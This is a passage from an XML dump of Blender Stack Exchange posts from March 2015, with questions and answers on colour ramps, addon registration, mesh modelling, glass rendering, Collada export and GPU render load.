it elsewhere. &#xA;my question is how to save a specific part inside the node it self. how to save a favorite selfmade gradient collor ramp. and have these gradients saved in a folder with maybe 50 other different color combinations. that is not the same like how to make a custom node from a group.  because i don't want to make a new node for every color change that i wil make. so there is the difference. so far i only see answer where i can change my gradient when i create new nodes , but this is not gonna be a good solution .  imagine you have to create a new node for every jpg texture that you will import ? i mean in a situation when you scroll through your list ofjpgs and want to test all of them to pick out the best texture. it is easy and quick , with just a click , and the same workaround should be for changing a rollorramp, and go through your list of gradients , where you can choose your favourites to see if it fits your object in your project.  that is not the same thing as creating custom nodes to use in other projects question . &#xA;blender has been around for a long time now , it should be there. it is so standard for an app working with gradients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am afraid blender is still in the stoneage regards to some specific simple basic functions that should be already updated long time ago . &#xA;lets just hope, it will happen someday. &#xA;but if i missed something , and someone can point me to an answer i would be happy to hear it .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am not looking for a complete node combination export , like the other question. and than re-use ,  for each tiny color change that i make, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need to create a list in a folder next to my jpg texture folders, where i can keep all my favorite gradient colorramp patches and choose them as easy as i choose a new jpg texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i guess the answer is No , but it should be yes . anyone agree ? &lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="12908" LastEditDate="2015-03-11T18:46:40.147" LastActivityDate="2015-10-06T21:08:13.230" Title="how do i save my selfmade favorit color ramp gradient in node editor?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2015-03-11T02:44:33.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="26982" PostTypeId="2" ParentId="26866" CreationDate="2015-03-10T23:26:31.613" Score="3" Body="&lt;p&gt;When you have an addon listed in the preferences you click the tick box to enable it, by enabling it the addons &lt;code&gt;register()&lt;/code&gt; function is run. When you disable the addon the &lt;code&gt;unregister()&lt;/code&gt; function is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most addon scripts will end with a section of code similar to -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you run that addon script in blenders text editor the &lt;code&gt;register()&lt;/code&gt; function will be run, and as you run the script again the &lt;code&gt;register()&lt;/code&gt; function will again be run. At this stage your keyboard additions have been added twice as the &lt;code&gt;unregister()&lt;/code&gt; function has not been run to remove the first entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to solve this, first is to add an &lt;code&gt;unregister()&lt;/code&gt; function call to the end of the script, as it will throw an exception the first time it is run you will want to add in within a try block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if __name__ == &quot;__main__&quot;:&#xA;    try:&#xA;        unregister()&#xA;    except:&#xA;        pass&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now no matter how many times you click &quot;Run script&quot; you should only have one keyboard entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful as you develop using blender's text editor but I would recommend you remove it before sharing your script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second way to solve this issue is to save the file to disk and use an external text editor. When you save changes to the addon, disable and enable it in the preferences, this will run the &lt;code&gt;unregister()&lt;/code&gt; function for you before the new &lt;code&gt;register()&lt;/code&gt; function is called as you enable it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-10T23:26:31.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26983" PostTypeId="2" ParentId="26974" CreationDate="2015-03-10T23:51:20.057" Score="4" Body="&lt;p&gt;You can moddel this shape from a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a cube, If you are unsure how do do that, see this question,&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/21589/5426&quot;&gt;How to add a cube&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIJnr.png&quot; alt=&quot;Cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not need to be blue, however it looks cool blue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a cube select one of the faces, and set the 3D cursor to that face. If you are unsure how to move the 3D Cursor, see this question &lt;a href=&quot;https://blender.stackexchange.com/q/13828/5426&quot;&gt;How to move the 3D coursor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/emuxH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a face selected and the 3D cursor set to that face, select Only one edge on that face. it is very important that you &lt;strong&gt;Do not&lt;/strong&gt; move the 3D cursor in this step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/12vWr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have an edge selected press NumPad &lt;kbd&gt;7&lt;/kbd&gt; This will move your viewpoint to the top view. it is also &lt;strong&gt;Very important&lt;/strong&gt; now that you &lt;strong&gt;DO NOT&lt;/strong&gt; move the 3D cursor. It must be in the same location as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRsik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are in the top view with the 3D cursor in place and the correct edge selected, press &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt; Then adjust the settings for the spin tool to 180° and a reasonable number of steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGmH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one thing you can skip here but it is better if you do this step. When you spun the edge around 180°, it created an edge where there already was an edge. First, rotate the view to a better position. Press &lt;kbd&gt;A&lt;/kbd&gt; to select the entire object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CwMe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now click on Remove doubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8ZTW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the required mesh has been generated, and there are no duplicate vertices, your object is nearly done. First Rotate the view so you can see this face. Select it and press &lt;kbd&gt;delete&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhAtX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A menu will open with delete options. select &lt;em&gt;Face&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjVAS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the internal face is gone, we must complete the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select these edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYOeF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;F&lt;/kbd&gt;. This will fill the empty space with a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VgNGw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the other side is filled, The object will be complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the edges on the bottom - Same as the top&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BoeYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;F&lt;/kbd&gt; to fill this side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTYLN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your object is complete. Exit edit mode by pressing &lt;kbd&gt;tab&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3F2jk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-10T23:51:20.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26987" PostTypeId="2" ParentId="26974" CreationDate="2015-03-11T00:14:12.390" Score="2" Body="&lt;p&gt;Here's how I would do it,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;select one edge of the plane, hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; cursor to selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to add a circle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &gt; Remove doubles&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the part of the arc that resides within the squarea (That's a word now) of the plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;select it all (&lt;kbd&gt;A&lt;/kbd&gt;) and hit &lt;kbd&gt;E&lt;/kbd&gt; to extrude to desired height. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;BOOM!&lt;/strong&gt; victory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-11T00:14:12.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26988" PostTypeId="1" CreationDate="2015-03-11T01:10:06.573" Score="0" ViewCount="235" Body="&lt;p&gt;I'm making a room and I have two questions after I saw the render.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The sliding door panel behind the window is very dark.&lt;/li&gt;&#xA;&lt;li&gt;The lower left edges of the table have some light under the glass top that looks strange. I'm guessing it might be from the bevel of the edge and the glass material?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve both? Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. The chair is the bonus material from Blender Guru's architecture academy. I didn't make that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i3k04.jpg&quot; alt=&quot;Test render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQQfc.png&quot; alt=&quot;Render setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UURnB.png&quot; alt=&quot;Glass material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------Update--------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I saw that my IOR setting for glass is also wrong, I've adjusted it in the following render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to try two different camera angles just to see if it makes any difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 1st and 3rd image are the original 2D window pointed out by @gandalf3 . The 2nd and 4th image are the adjusted 3D window created with a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the difference, of course, caused by the IOR. The 3D windows seem to affect slightly how the panel looked behind the glass. Is there any other way I should test to see if this is even abnormal? Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIssI.jpg&quot; alt=&quot;Camera angle 1, original 2D window with adjusted IOR 1.44&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uleyo.png&quot; alt=&quot;Camera angle 1, 3D cube window with adjusted IOR 1.44&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rLoE.jpg&quot; alt=&quot;Camera angle 2, original 2D window with adjusted IOR 1.44&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmiwy.jpg&quot; alt=&quot;Camera angle 2, 3D cube window with adjusted IOR 1.44&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11368" LastEditorUserId="11368" LastEditDate="2015-03-11T21:01:51.790" LastActivityDate="2015-03-11T21:01:51.790" Title="One render picture and two questions (I think both are related to the glass material)" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26989" PostTypeId="2" ParentId="26954" CreationDate="2015-03-11T01:32:33.097" Score="6" Body="&lt;p&gt;In your example a bezier curve will make it easier to get 'sharp' points in your curve as the control handles for each point give more control over how the curve enters and leaves each point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need to use nurbs and also need a 'sharp' point you can place three points close together which reduces the smooth interpolation between points to what visually appears to be a point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QI2dK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode if you zoom right in you can see -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFHp9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-11T01:32:33.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26990" PostTypeId="2" ParentId="26965" CreationDate="2015-03-11T02:15:40.827" Score="4" Body="&lt;p&gt;Using blender internal, a material can use up to 18 textures to get it's final appearance. An objects face can have one material assigned to it, any and all textures in that material are used by the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode you can get the texture used by each face with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.object&#xA;for f in obj.data.polygons:&#xA;    for t in obj.material_slots[f.material_index].material.texture_slots:&#xA;        if t is not None:&#xA;            print(&quot;Face %d uses texture %s&quot;%(f.index,t.name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this is using Blender Internal, for cycles you will need to walk through the nodetree to find the nodes your interested in.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-11T02:15:40.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26991" PostTypeId="2" ParentId="26981" CreationDate="2015-03-11T02:41:31.053" Score="2" Body="&lt;p&gt;Depending on how often you want to use your gradients, you can save them in two ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both methods start by grouping your &lt;em&gt;ColorRamp&lt;/em&gt; node. After you have set the gradient as you want, select the color ramp node and press &lt;kbd&gt;Crtl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; that will create a node group only containing the color ramp node. Rename the new node group, in the properties region &lt;kbd&gt;N&lt;/kbd&gt; so you can find the gradient later.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZFn5p.png&quot; alt=&quot;cycles node group settings&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3c1up.png&quot; alt=&quot;cycles node group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the gradients a lot, just save the node groups in your start up file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second method is to have a file of node assets, and when you want a gradient &lt;a href=&quot;https://blender.stackexchange.com/q/81/2217&quot;&gt;Append&lt;/a&gt; the node group from the file, with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-10-06T21:08:13.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26993" PostTypeId="1" AcceptedAnswerId="26999" CreationDate="2015-03-11T04:14:44.057" Score="1" ViewCount="1198" Body="&lt;p&gt;I've been trying to get this right but it seems like I get stuck every time.&lt;/p&gt;&#xA;&lt;p&gt;This is what I'm looking for, but time and time again I've been stumped.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQqGY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have to add this boolean difference to it when it's sculpted out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uTWFj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But when I go to sub surf it, this happens and it becomes very difficult to add loop cuts around them to fix it, actually they don't even show up at all and using the knife tool is too difficult.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdeER.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's a cruder but see through version of the shape I'm looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eRyTO.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="19307" LastEditDate="2021-05-06T22:10:47.330" LastActivityDate="2021-05-06T22:10:47.330" Title="How can I create an L shape with two beveled sides?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26994" PostTypeId="2" ParentId="26993" CreationDate="2015-03-11T05:24:59.853" Score="3" Body="&lt;p&gt;I would recommend the following workflow.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start with a UV sphere.&lt;/li&gt;&#xA;&lt;li&gt;Delete all but two octants (leave the top right, front and back).&#xA;To do this, select the equatorial and meridian edge rings (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/ItVOC.png&quot; alt=&quot;Right mouse button&quot;&gt;&amp;nbsp;RMB&lt;/kbd&gt;) and use the &lt;em&gt;Rip&lt;/em&gt; tool (&lt;kbd&gt;V&lt;/kbd&gt;), then mouse over each octant and use &lt;em&gt;Select Linked&lt;/em&gt; (&lt;kbd&gt;L&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;) the bottom ring down to create a long half-capsule ring (upside-down &quot;U&quot;).&lt;/li&gt;&#xA;&lt;li&gt;Extrude the long ring out a bit, then create a face at the boundary with the sphere.&lt;/li&gt;&#xA;&lt;li&gt;Extrude the top part of what used to be the long ring out a bit more.&lt;/li&gt;&#xA;&lt;li&gt;Fill remaining holes with faces.&lt;/li&gt;&#xA;&lt;li&gt;Bevel interior edges, if desired.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's a demo (warning: large gif may be slow to load; consider viewing &lt;a href=&quot;http://www.gfycat.com/SnappyPeriodicEquestrian&quot; rel=&quot;nofollow noreferrer&quot;&gt;this gfycat video&lt;/a&gt; instead).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/SnappyPeriodicEquestrian.gif&quot; alt=&quot;Slow-loading gif; see gfycat link instead&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you wanted to add subsurf.&#xA;I would recommend against that, in this case.&#xA;Instead, just use a sufficiently high-resolution UV sphere that everything is smooth already, and add a slight bevel to the edges.&#xA;(I didn't really do this in my demonstration; you could be more careful.)&#xA;See &lt;a href=&quot;https://blender.stackexchange.com/a/248/372&quot;&gt;iKlsR's answer to &quot;How can I make sharp geometric 3D models look more realistic?&quot;&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-03-11T05:24:59.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26995" PostTypeId="1" AcceptedAnswerId="26996" CreationDate="2015-03-11T05:33:21.527" Score="1" ViewCount="2324" Body="&lt;p&gt;I found the .py file for one for exporting .obj, modified it, exported a cube and confirmed the changes (after reloading blender). Good, I have a starting point to write a script to export to my own personal 3d file format. My format is in XML so starting from the collada (.dae) script would make things far easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find it in with the other scripts (or anywhere else). I notice in Blender it says &quot;Collada (Default)(.dae)&quot; where the others don't say &quot;default&quot;... Is there such a script or does the &quot;default&quot; part mean its compiled in with blender?&lt;/p&gt;&#xA;" OwnerUserId="13102" LastActivityDate="2018-08-28T20:40:54.473" Title="Where is python file for exporting DAE (collada)" Tags="&lt;scripting&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26996" PostTypeId="2" ParentId="26995" CreationDate="2015-03-11T06:01:27.543" Score="1" Body="&lt;p&gt;The collada import/export functionality is provided through &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/collada/&quot; rel=&quot;nofollow&quot;&gt;c++ source code&lt;/a&gt; included with blender that links to an &lt;a href=&quot;https://collada.org/mediawiki/index.php/OpenCOLLADA&quot; rel=&quot;nofollow&quot;&gt;external opencollada library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a python example for collada have a look at the &lt;a href=&quot;http://www.godotengine.org/wp/better-collada-exporter/&quot; rel=&quot;nofollow&quot;&gt;better collada exporter&lt;/a&gt; it is part of the godot project as is meant to be better than the default blender collada exporter.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-11T06:01:27.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26997" PostTypeId="2" ParentId="644" CreationDate="2015-03-11T07:12:22.407" Score="5" Body="&lt;p&gt;Simple solution&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the &lt;em&gt;User Preferences &gt; Input&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type &lt;code&gt;Center View&lt;/code&gt; into the search field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a key to &lt;em&gt;Center View to Mouse&lt;/em&gt; like for example the key left from the &lt;kbd&gt;1&lt;/kbd&gt;  on the keyboard (&lt;kbd&gt;^&lt;/kbd&gt; ), which is pretty well accessible without having to move the hand off of the standard position.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;Save User Settings&lt;/em&gt;. Done!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Go into the &lt;em&gt;3D View&lt;/em&gt; (of course perspective, as we all like it the most), zoom in until it slows down - position mouse cursor into the direction you want to zoom in (which is normally already the case), press the assigned key.&lt;/p&gt;&#xA;" OwnerUserId="13104" LastEditorUserId="19307" LastEditDate="2020-05-27T17:38:03.547" LastActivityDate="2020-05-27T17:38:03.547" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26998" PostTypeId="1" CreationDate="2015-03-11T09:03:46.547" Score="2" ViewCount="5699" Body="&lt;p&gt;For GPU rendering I use a GT 650 Ti Boost. Strangely, rendering jobs consume all my CPU time so anything else I do on the computer is just as choppy as when I do a CPU render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Blender configured to use 6 of 8 cores when it does use the CPU but that doesn't help either. It's an FX8350 CPU, with 8 gig of RAM, so that should be lots of horsepower too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there are guides for setting up multiple instances of Blender to handle GPU/CPU renders on alternate frames I would expect the CPU to remain largely free during a GPU-only render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have insight/tips as to why it's sucking up more resources than it probably should?&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2021-05-27T18:11:04.407" Title="Extreme CPU usage while GPU rendering?" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26999" PostTypeId="2" ParentId="26993" CreationDate="2015-03-11T09:06:00.993" Score="5" Body="&lt;p&gt;You can do this with the bevel tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a cube, in edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;) select the edges you want to make round:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9qZrq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to use the bevel tool and set the parameters for &lt;strong&gt;Amount&lt;/strong&gt; to &lt;strong&gt;1&lt;/strong&gt; and &lt;strong&gt;Profile&lt;/strong&gt; to &lt;strong&gt;0.5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yMEa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove doubles (press the &lt;kbd&gt;Spacebar&lt;/kbd&gt; or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;v&lt;/kbd&gt;-&gt;Remouve Doubles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KbGRF.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;To make the first shape you describe extrude these faces: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rxRxo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second shape you'd need to make a cut before extruding:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PB3M.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-11T09:12:58.087" LastActivityDate="2015-03-11T09:12:58.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27000" PostTypeId="1" CreationDate="2015-03-11T09:08:40.317" Score="1" ViewCount="827" Body="&lt;p&gt;I am not sure if this has been answered already, but as a newbe to Blender V2.73a, I have listed the steps I have taken so far and what I need to achieve.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a plane, scaled to 25 blender units in X and Y plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivided this into 65,536 faces&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpted a terrain from the plane using sculpt mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV Un-Wrapped and Texture painted the entire terrain&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I need to achieve now is it break this single mesh object into 5 equal pieces across the X and Y plane so that each piece (now 5 x 5) can be exported as a separate collada file complete with its texture map for import into Secondlife. I have trawled youtube and wiki and the various forums but with no joy...I am also rubbish at phython, so I am on bended knee in the hope that some kind person can provide an answer..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance...Kushiel&lt;/p&gt;&#xA;" OwnerUserId="13106" LastActivityDate="2015-03-11T10:20:01.797" Title="cutting a mesh object into equal segments for individual export to .dae" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;export&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
